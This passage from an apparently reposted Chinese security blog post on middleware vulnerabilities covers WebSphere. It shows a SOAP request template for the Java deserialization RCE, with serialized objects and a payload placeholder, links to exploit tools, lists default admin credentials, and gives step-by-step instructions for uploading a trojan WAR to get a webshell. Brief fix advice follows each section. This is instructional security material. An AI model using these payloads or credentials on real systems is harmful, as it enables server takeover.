vckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0"></SOAP-ENV:Header><SOAP-ENV:Body><ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname><operationname xsi:type="xsd:string">getUnsavedChanges</operationname><params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params><signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature></ns1:invoke></SOAP-ENV:Body></SOAP-ENV:Envelope>

或者使用如下工具或脚本：

github上的Python脚本：

https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/WebSphere/websphere_rce.py

六哥的Java测试工具：

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

修复方法

1.升级补丁

7.2 WebSphere弱口令 && 后台Getshell

原因与条件

WebSphere 6.x至7.0版本，后台登陆只需要输入 admin作为用户标识，无需密码，即可登陆后台。默认口令：

system/ manager
websphere/ websphere

利用方法

1.登录成功后点击WebSphere 企业应用程序，点击安装，然后上传制作好的木马war文件，一直点击下一步，直到填写上下文根，填写shell（关系到访问路径），一直点下一步直到安装完成。

2.安装完成之后，点击保存主配置，然后回到WebSphere 企业应用程序，选中war包启动，访问获得shell，shell路径：http://ip:9080/shell/shell.jsp。

修复方法

1.设置强口令；
2.升级WebSphere版本

今天经历了人生中的第一次面试，问到中间件漏洞，文章总结了一堆，结果当时就记得解析漏洞，无语了。感觉还是太紧张了，一些问题面试结束就想到好几种当时没答上来的方法，临阵问答心态比较重要，今天又是菜狗的一天。

数据库

文章转载自zero1安全笔记，如果涉嫌侵权，请发送邮件至：contact@modb.pro进行举报，并提供相关证据，一经查实，墨天轮将立刻删除相关内容。

常见中间件漏洞

评论